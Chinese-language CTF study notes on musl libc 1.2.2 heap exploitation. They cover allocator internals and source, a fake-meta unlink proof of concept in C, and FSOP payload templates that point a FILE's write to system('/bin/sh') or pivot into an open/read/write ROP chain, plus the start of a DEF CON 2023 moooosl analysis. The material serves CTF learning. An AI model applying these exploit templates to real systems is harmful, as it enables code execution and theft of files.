其实就是对各位大佬博客的各种摘抄和总结···,方便自己以后做题
结构体 chunk:
1 2 3 4 5 6 struct chunk { char prev_user_data[]; uint8_t idx; uint16_t offset; char data[]; };
在释放后 chunk 头的 idx会变成0xff offset 会清零
group: 1 2 3 4 5 6 7 8 #define UNIT 16 #define IB 4 struct group { struct meta *meta ; unsigned char active_idx:5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; };
在musl中同一类大小的chunk都是被分配到同一个group中进行管理
1 2 3 4 5 6 7 8 9 struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx:5 ; uintptr_t freeable:1 ; uintptr_t sizeclass:6 ; uintptr_t maplen:8 *sizeof (uintptr_t )-12 ; };
maplen >= 1表示这个meta里的group是新mmap出来的,长度为多少,并且这个group 不在size_classes里 maplen =0 表示group不是新mmap出来的在size_classes里 细节:
meta一般申请的是堆空间brk分配的,有可能是mmap映射的,而group都是使用的mmap的空间
由于bitmap的限制,因此一个group中最多只能有32个chunk
1 2 3 4 5 6 struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; };
meta_area 是管理meta的合集 meta_area 以页为单位分配
1 const struct meta_area area = (void )((uintptr_t )meta & -4096 )
细节:
在这个meta_area页被使用的时候,上一个临近的页会被设置为不可写是为了防止 使用者覆盖check校验值
__malloc_context: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t u sage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; };
是musl libc记录结构状态的表,记录各个meta 和 secret 队列信息等
小总结
musl 中堆的管理由meta 管理 group ,group 管理 chunk
在free 或者 malloc chunk 的时候又是从 chunk 到group 再到meta 从小到大索引
meta 间通过meta 中prev next 结构形成循环链表连接
gdb调试技巧 下载xf1le师傅的gdb插件
1 2 git clone https://github.com/xf1les/muslheap.git echo "source /path/to/muslheap.py" >> ~/.gdbinit
mheap 可以查看__malloc_context的部分信息,可以详细看到每一条meta链表
p __malloc_context 可以查看__malloc_context的详细信息,但无法详细看到每一条meta链表
mmagic 用于查看关键函数的地址
查看某个meta结构体的详细信息
malloc 这里直接贴上0xRGz师傅的文章
free 这里一样直接贴上0xRGz师傅的文章Orz free流程:
通过get_meta(p)得到meta (get_meta 是通过chunk 对应的offset 索引到对应的group 再索引到meta) 下面会详细介绍get_meta
通过get_slot_index(p)得到对应chunk的 idx -> 通过get_nominal_size(p, end) 算出真实大小
重置idx 和 offset idx 被置为0xff 标记chunk
修改freed_mask 标记chunk被释放
最后调用nontrivial_free 完成关于meta一些剩余操作
pwn题常用技巧 一般有如下几种利用方法,核心原理都是构造假的chunk 索引到假的group 从而所引导假的meta或覆盖group 中指向meta 的指针 覆盖为假的meta ,然后使得假的meta dequeue 最终实现unlink (构造fake_meta 需要先泄露 secret 校验值) 1、伪造meta 后满足各种条件 使得其进入dequeue 通过unlink,构造prev,next 实现任意地址指针互写 通过任意地址互写指针,向stdout_used 写入我们伪造的fake_stdout地址, 通过IO_FILE 劫持程序执行流 到我们布置好的fake_stdout 上,可以找IO_FILE 里的一些函数exit puts在fake_stdout上布置rop_chain然后通过栈迁移的gadget 利用FSOP 劫持程序到布置的fake_stdout上 2、伪造fake_meta 也是任意地址指针互写,先进行布局使得 fake_meta dequeue 实现unlink,再利用指针互写 修改fake_meta 中的mem(mem 就是group 区域) ,把mem 修改为我们想要的地址,然后让fake_meta 通过queue 入队,可以实现任意地址分配的,然后同样是打 IO_FILE 通过修改stdout stdin 和stderr 结构体 劫持程序流
补充:部分重要函数源码 malloc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 void *malloc (size_t n) { if (size_overflows(n)) return 0 ; struct meta *g ; uint32_t mask, first; int sc; int idx; int ctr; if (n >= MMAP_THRESHOLD) { size_t needed = n + IB + UNIT; void *p = mmap(0 , needed, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON, -1 , 0 ); if (p==MAP_FAILED) return 0 ; wrlock(); step_seq(); g = alloc_meta(); if (!g) { unlock(); munmap(p, needed); return 0 ; } g->mem = p; g->mem->meta = g; g->last_idx = 0 ; g->freeable = 1 ; g->sizeclass = 63 ; g->maplen = (needed+4095 )/4096 ; g->avail_mask = g->freed_mask = 0 ; ctx.mmap_counter++; idx = 0 ; goto success; } sc = size_to_class(n); rdlock(); g = ctx.active[sc]; if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1 ) && !ctx.usage_by_class[sc]) { size_t usage = ctx.usage_by_class[sc|1 ]; if (!ctx.active[sc|1 ] || (!ctx.active[sc|1 ]->avail_mask && !ctx.active[sc|1 ]->freed_mask)) usage += 3 ; if (usage <= 12 ) sc |= 1 ; g = ctx.active[sc]; } for (;;) { mask = g ? g->avail_mask : 0 ; first = mask&-mask; if (!first) break ; if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) continue ; idx = a_ctz_32(first); goto success; } upgradelock(); idx = alloc_slot(sc, n); if (idx < 0 ) { unlock(); return 0 ; } g = ctx.active[sc]; success: ctr = ctx.mmap_counter; unlock(); return enframe(g, idx, n, ctr); }
!!! 关键: 一般分配先进入这个循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (;;) { mask = g ? g->avail_mask : 0 ; first = mask&-mask; if (!first) break ; if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) continue ; idx = a_ctz_32(first); goto success; } upgradelock(); 如果 idx = alloc_slot(sc, n);
alloc_slot:
1 2 3 4 5 6 7 8 9 10 11 12 13 static int alloc_slot (int sc, size_t req) { uint32_t first = try_avail(&ctx.active[sc]); if (first) return a_ctz_32(first); struct meta *g = alloc_group(sc, req); if (!g) return -1 ; g->avail_mask--; queue (&ctx.active[sc], g); return 0 ; }
try_avail:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 static uint32_t try_avail (struct meta **pm) { struct meta *m = *pm; uint32_t first; if (!m) return 0 ; uint32_t mask = m->avail_mask; if (!mask) { if (!m->freed_mask) { dequeue(pm, m); m = *pm; if (!m) return 0 ; } else { m = m->next; *pm = m; } mask = m->freed_mask; if (mask == (2u <<m->last_idx)-1 && m->freeable) { m = m->next; *pm = m; mask = m->freed_mask; } if (!(mask & ((2u <<m->mem->active_idx)-1 ))) { if (m->next != m) { m = m->next; *pm = m; } else { int cnt = m->mem->active_idx + 2 ; int size = size_classes[m->sizeclass]*UNIT; int span = UNIT + size*cnt; while ((span^(span+size-1 )) < 4096 ) { cnt++; span += size; } if (cnt > m->last_idx+1 ) cnt = m->last_idx+1 ; m->mem->active_idx = cnt-1 ; } } mask = activate_group(m); assert(mask); decay_bounces(m-> sizeclass); } first = mask&-mask; m->avail_mask = mask-first; return first; }
free: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void free (void *p) { if (!p) return ; struct meta *g = get_meta(p); int idx = get_slot_index(p); size_t stride = get_stride(g); unsigned char *start = g->mem->storage + stride*idx; unsigned char *end = start + stride - IB; get_nominal_size(p, end); uint32_t self = 1u <<idx, all = (2u <<g->last_idx)-1 ; ((unsigned char *)p)[-3 ] = 255 ; *(uint16_t *)((char *)p-2 ) = 0 ; if (((uintptr_t )(start-1 ) ^ (uintptr_t )end) >= 2 *PGSZ && g->last_idx) { unsigned char *base = start + (-(uintptr_t )start & (PGSZ-1 )); size_t len = (end-base) & -PGSZ; if (len) madvise(base, len, MADV_FREE); } for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask&self)); if (!freed || mask+self==all) break ; if (!MT) g->freed_mask = freed+self; else if (a_cas(&g->freed_mask, freed, freed+self)!=freed) continue ; return ; } wrlock(); struct mapinfo mi = nontrivial_free(g, idx); unlock(); if (mi.len) munmap(mi.base, mi.len); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static inline struct meta *get_meta (const unsigned char *p) { assert(!((uintptr_t )p & 15 )); int offset = *(const uint16_t *)(p - 2 ); int index = p[-3 ] & 31 ;; if (p[-4 ]) { assert(!offset); offset = *(uint32_t *)(p - 8 ); assert(offset > 0xffff ); } const struct group *base = (const void *)(p - UNIT*offset - UNIT); const struct meta *meta = base->meta; assert(meta->mem == base); assert(index <= meta->last_idx); assert(!(meta->avail_mask & (1u <<index))); assert(!(meta->freed_mask & (1u <<index))); const struct meta_area *area = (void *)((uintptr_t )meta & -4096 ); assert(area->check == ctx.secret); if (meta->sizeclass < 48 ) { assert(offset >= size_classes[meta->sizeclass]*index); assert(offset < size_classes[meta->sizeclass]*(index+1 )); } else { assert(meta->sizeclass == 63 ); } if (meta->maplen) { assert(offset <= meta->maplen*4096UL /UNIT - 1 ); } return (struct meta *)meta; }
nontrivial_free: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 static struct mapinfo nontrivial_free (struct meta *g, int i) { uint32_t self = 1u <<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; if (mask+self == (2u <<g->last_idx)-1 && okay_to_free(g)) { if (g->next) { assert(sc < 48 ); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } else if (!mask) { assert(sc < 48 ); if (ctx.active[sc] != g) { queue (&ctx.active[sc], g); } } a_or(&g->freed_mask, self); return (struct mapinfo){ 0 }; }
dequeue: 1 2 3 4 5 6 7 8 9 10 11 static inline void dequeue (struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0 ; } m->prev = m->next = 0 ; }
dequeue触发条件 1、avail_mask 表示只有一个chunk 被使用 ,freed_mask=0,而free 刚好要free 一个chunk,满足 okay_to_free() 条件 就可以进入dequeue 进行出队操作 如add(1,0x20) 再free(1) 就会使得meta 被回收 2、avail_mask=0, freed_mask 表示只有 1个 chunk 没被释放,这时释放的chunk 就应该是那最后一个chunk 如下面情况 avail_mask ==0 free_mask=63=00111111 last_idx = 6,已经释放6 个chunk 还有最后一个chunk没被释放 在释放最后一个chunk 时会触发dequeue使得对应meta出队 3、如果发现这个group中所有的chunk要么被free, 要么是可用的, 那么就会回收掉这个group,调用dequeue从队列中出队
unlink free 首先会调用 get_meta ,而 get_meta 有如下检查:
assert(!((uintptr_t) p & 15));,即 chunk 应该关于 0x10 对齐
meta->mem == base ,即 meta 中保存的 group 指针要正确
index <= meta->last_idx ,即 chunk 的索引不能越界
assert(!(meta->avail_mask & (1u << index))); ,assert(!(meta->freed_mask & (1u << index))); ,检测 double fre
area->check == ctx.secret ,即 meta 所在的 meta_area 的校验值正确。如果伪造的 meta 位于一个伪造的 meta_area 中,需要首先获取校验值 secret 并保存到 meta_area 开头,即这一页最开始的地方
offset >= size_classes[meta->sizeclass]_index ,offset < size_classes[meta->sizeclass]_(index+1) ,这两个检查 offset 和 chunk 大小是否对应
assert(offset <= meta->maplen*4096UL/UNIT - 1); ,即检查 offset 是否越界
紧接着还会调用 get_nominal_size,其中有对 chunk 的检查,总结来说 chunk 区域尽量都填 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline size_t get_nominal_size (const unsigned char *p, const unsigned char *end) { size_t reserved = p[-3 ] >> 5 ; if (reserved >= 5 ) { assert(reserved == 5 ); reserved = *(const uint32_t *) (end - 4 ); assert(reserved >= 5 ); assert(!end[-5 ]); } assert(reserved <= end - p); assert(!*(end - reserved)); assert(!*end); return end - reserved - p; }
之后在 free 中的循环满足条件跳出循环调用 nontrivial_free 函数
1 2 3 4 5 6 7 8 9 10 11 for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask & self)); if (!freed || mask + self == all) break ; ... } wrlock(); struct mapinfo mi = nontrivial_free(g, idx);
进入 nontrivial_free 函数后会执行如下代码。okay_to_free 函数返回非 0 的前提是 meta->freeable 非 0,另外还要确保 meta->sizeclass < 48 。之后调用 dequeue 函数触发 unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 uint32_t self = 1u << i;int sc = g->sizeclass;uint32_t mask = g->freed_mask | g->avail_mask;if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) { if (g->next) { assert(sc < 48 ); int activate_new = (ctx.active[sc] == g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); }
之后进入 free_group 函数后为了减小伪造难度不再调用 nontrivial_free 要保证 maplen 不为零
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static struct mapinfo free_group (struct meta *g) { struct mapinfo mi = {0 }; int sc = g->sizeclass; if (sc < 48 ) { ctx.usage_by_class[sc] -= g->last_idx + 1 ; } if (g->maplen) { step_seq(); record_seq(sc); mi.base = g->mem; mi.len = g->maplen * 4096UL ; } else { void *p = g->mem; struct meta *m = get_meta(p); int idx = get_slot_index(p); g->mem->meta = 0 ; mi = nontrivial_free(m, idx); } free_meta(g); return mi; }
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #include <ctype.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <assert.h> #define UNIT 16 #define IB 4 #define FAKE_CHUNK_SIZE 0x80 #define FAKE_CHUNK_INDEX 1 #define LAST_INDEX 4 const uint16_t size_classes[] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 12 , 15 , 18 , 20 , 25 , 31 , 36 , 42 , 50 , 63 , 72 , 84 , 102 , 127 , 146 , 170 , 204 , 255 , 292 , 340 , 409 , 511 , 584 , 682 , 818 , 1023 , 1169 , 1364 , 1637 , 2047 , 2340 , 2730 , 3276 , 4095 , 4680 , 5460 , 6552 , 8191 , }; static inline int size_to_class (size_t n) { n = (n + IB - 1 ) >> 4 ; if (n < 10 ) return n; n++; int i = (28 - __builtin_ctz(n)) * 4 + 8 ; if (n > size_classes[i + 1 ]) i += 2 ; if (n > size_classes[i]) i++; return i; } struct malloc_context { uint64_t secret; int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t usage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; }; struct group { struct meta *meta ; unsigned char active_idx: 5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; }; struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx: 5 ; uintptr_t freeable: 1 ; uintptr_t sizeclass: 6 ; uintptr_t maplen: 8 * sizeof (uintptr_t ) - 12 ; }; struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; }; int main () { struct malloc_context *ctx = (struct malloc_context *) (&printf + 0x247193 ); struct meta target = {}; void *mmap_space = mmap(NULL , 0x2000 , PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1 , 0 ); struct meta_area *fake_meta_area = mmap_space; fake_meta_area->check = ctx->secret; struct meta *fake_meta = (struct meta *) ((uint64_t ) mmap_space + 0x100 ); fake_meta->maplen = 1 ; fake_meta->sizeclass = size_to_class(FAKE_CHUNK_SIZE - IB); fake_meta->last_idx = LAST_INDEX; fake_meta->freeable = 1 ; struct group *fake_group = (struct group *) ((uint64_t ) mmap_space + 0x1000 ); fake_meta->mem = fake_group; fake_group->meta = fake_meta; fake_meta->avail_mask = ((2U << LAST_INDEX) - 1 ) ^ (1 << FAKE_CHUNK_INDEX); fake_meta->freed_mask = 0 ; uint8_t *fake_chunk = (uint8_t *) ((uint64_t ) fake_group->storage + size_classes[fake_meta->sizeclass] * UNIT * FAKE_CHUNK_INDEX); *(uint16_t *) (fake_chunk - 2 ) = (fake_chunk - fake_group->storage) / UNIT; fake_chunk[-3 ] = FAKE_CHUNK_INDEX; fake_meta->prev = fake_meta->next = ⌖ free (fake_chunk); assert(target.prev == target.next && target.prev == &target); return 0 ; }
fsop IO_file结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t ); size_t (*write)(FILE *, const unsigned char *, size_t ); off_t (*seek)(FILE *, off_t , int ); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale ; };
exit利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 FILE *volatile __stdin_used = &__stdin_FILE; FILE *volatile __stdout_used = &__stdout_FILE; FILE *volatile __stderr_used = &__stderr_FILE; _Noreturn void exit (int code) { __funcs_on_exit(); __libc_exit_fini(); __stdio_exit(); _Exit(code); } void __stdio_exit(void ) { FILE *f; for (f = *__ofl_lock(); f; f = f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used); close_file(__stderr_used); } static void close_file (FILE *f) { if (!f) return ; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0 , 0 ); if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR); }
可以看到exit函数最终会调用到三个io file的write函数和seek函数,我们可以将 FILE 结构体开头的几个字节修改为 /bin/sh ,再修改 write 指针的值为 system ,以及修改 f->wpos 、f->wbase 中其中之一就可以调用到 system(“/bin/sh”) 总结来说,就是在无沙箱时,需要修改 _IO_FILE 结构体的几个地方:
起始位置写入 /bin/sh
write 写入 system 函数地址。
好将 lock 设置为小于 0 避免程序卡死在 __lockfile 函数中。(等于 0 貌似也可以)
fake_file getshell模板:
1 2 3 4 5 6 7 8 9 10 11 12 fake_file = b"" fake_file += b"/bin/sh" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x1919810 ) fake_file += p64(0 ) fake_file += p64(libc_base+libc.symols['system' ]) fake_file = fake_file.ljust(0x90 , b'\x00' )
若需要orw,这需要一下gadget:
1 mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
总结来说,就是在有沙箱时,需要修改 _IO_FILE 结构体的 3 个地方:
f->wbase 写入第一个 gadget 地址使得 f->wpos 、f->wbase 不等的同时能够执行到 gadget
write 写入刚才提到的栈迁移的 gadget
偏移 0x30 处写入新的栈地址配合栈迁移 gadget 完成栈迁移
此外还需要在其他地方构造好 ROP 链用于 orw
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = b'' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = b"" fake_file += b"./flag" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , b'\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = b'' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = b'' payload += fake_file payload += fake_group payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, b'\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , b'\x00' ) fake_node = b'' fake_node += p64(4 ) fake_node += p64(fake_chunk_addr) fake_node += p64(0x100 ) fake_node += p64(2 ) fake_node += p64(0xdeadbeef ) fake_node += p64(0 ) fake_node += p64(0 ) add(5 , fake_node) add(6 , payload)
puts利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int puts (const char *s) { int r; FLOCK(stdout ); r = -(fputs (s, stdout ) < 0 || putc_unlocked('\n' , stdout ) < 0 ); FUNLOCK(stdout ); return r; } int fputs (const char *restrict s, FILE *restrict f) { size_t l = strlen (s); return (fwrite(s, 1 , l, f) == l) - 1 ; } size_t fwrite (const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) { size_t k, l = size * nmemb; if (!size) nmemb = 0 ; FLOCK(f); k = __fwritex(src, l, f); FUNLOCK(f); return k == l ? nmemb : k / size; } int __towrite(FILE *f) { ... if (f->flags & F_NOWR) { f->flags |= F_ERR; return EOF; } ... return 0 ; } size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) { size_t i = 0 ; if (!f->wend && __towrite(f)) return 0 ; if (l > f->wend - f->wpos) return f->write(f, s, l); ... }
getshell 模板:
1 2 3 4 5 6 7 8 9 10 11 12 fake_file = b"" fake_file += b"/bin/sh" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(libc.sym['system' ]) fake_file = fake_file.ljust(0x80 , b'\x00' )
orw musl-1.2.2 模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 fake_name_addr = libc.address + 0xb7990 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = b'' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = b"" fake_file += b"./flag" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , b'\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = b'' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = b'' payload += fake_file payload += fake_group payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, b'\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , b'\x00' ) fake_node = b'' fake_node += p64(fake_name_addr) fake_node += p64(fake_chunk_addr) fake_node += p64(len ('fake name' )) fake_node += p64(0 ) fake_node += p64(0 ) add('hijack node' .ljust(0x28 , b'\x00' ), fake_node) add("payload" , payload) log.info("fake chunk addr: " + hex (fake_chunk_addr))
题目分析 题目为defcon 2023 moooosl musl版本为1.2.2
题目源码 赛题好像没有给出源码,不过代码比较简单,ida看的反而比源码更加方便,这里为了方便看的人了解题目,就把源码贴出来了 h.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <time.h> #include <stdio.h> #include <stdint.h> static uint32_t key_hash (const uint8_t *key, size_t key_size) { uint64_t h = 0 ; for (int i = 0 ; i < key_size; i++) { h = h * 0x13377331 + key[i]; } return h; } uint64_t H[0x100000 ];int main () { srand(time(NULL )); uint32_t shift = rand(); char tmp[8 ] = {0 }; #define L 0x40 #define R 0x7f for (char a = L; a < R; a++) { tmp[0 ] = a; for (char b = L; b < R; b++) { tmp[1 ] = b; for (char c = L; c < R; c++) { tmp[2 ] = c; for (char d = L; d < R; d++) { tmp[3 ] = d; for (char e = L; e < R; e++) { tmp[4 ] = e; uint32_t h = key_hash(&tmp, 5 ) - shift; if (h < 0x100000 ) { if (H[h] == 0 ) { H[h] = *(uint64_t *)&tmp; } else { printf ("%s %s => %#08x\n" , tmp, &H[h], h); } } } } } } } }
service.c
